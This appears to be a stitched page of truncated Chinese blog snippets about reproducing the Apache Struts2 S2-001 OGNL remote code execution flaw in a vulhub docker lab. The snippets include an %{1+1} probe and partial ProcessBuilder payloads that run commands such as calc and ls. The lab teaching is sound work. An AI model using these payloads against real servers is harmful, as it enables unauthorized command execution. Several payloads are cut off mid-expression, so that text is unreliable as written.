S2-001 远程代码执行漏洞(漏洞复现) 阜阳第一网络菜鸡 关注 漏洞 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 ...
漏洞修复 publicstaticObjecttranslateVariables(charopen, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator,intmaxLoopCount){Objectresult=expression;while(true) {intstart=expression.indexOf(open +"{");intlength=expression.length();intx=start +2;intcount=1;wh...
struts2简称s2,是一个比较老的,但是用的比较多的web框架。本次复现s2-001漏洞。 准备工作: idea,s2源码,tomcat 新建一个项目,下一步,完成 创建好之后把项目目录如下更改: 从s2源码中提出jar包,源码下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip web.xml <?xml version...
例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 搭建靶机环境:(前提 docker、vulhub 环境已搭建) 1.进入vulhub目录下漏洞环境的目录 cd …/vulhub-master/structs/s2-001 2.自动编译化环境 docker...
漏洞 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 复现系列-Apache Struts2远程代码执行漏洞(S2-001)复现 hyh303 2022-06-10 10:09:44 165548 所属地 北京该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} ...
复现漏洞S2-001 1、验证,输入密码%{1+1} 验证.png 2、结果,返回2,存在漏洞 结果.png 3、利用payload弹出计算机 %{#a=(newjava.lang.ProcessBuilder(newjava.lang.String[]{"cmd.exe","/c","calc"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=newjava.io.InputStreamReader(#...
s2-001漏洞原理:用户提交表单时,后端会将OGNL表达式%{value}进行解析 在账号或者密码框中输入%{1+1}点击登陆后,账号或者密码框执行了表达式并且将2显示在输入框中 任意命令执行Exp: %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.ge...
s2-001远程代码执行漏洞 一、漏洞描述:该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次OGNL表达式解析,所以可以直接...
执行以下命令启动s2-001测试环境 docker-compose build docker-compose up -d 搭建之后访问http://127.0.0.1:8080/ 4.4 POC && EXP 手动验证是否存在漏洞: %{1+1} 返回结果: 获取tomcat执行路径: %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} ...
复现 一、服务搭建 1、进入vulhub中s2-001所在目录 /usr/vulhub/struts2/s2-001(根据vulhub个人安装目录自行调整) 1. 2、查看漏洞说明 cat README.zh-cn.md (README.md为英文版) 1. 3、docker容器启动 docker-compose up 1. 4、查看docker进程,确定服务端口 ...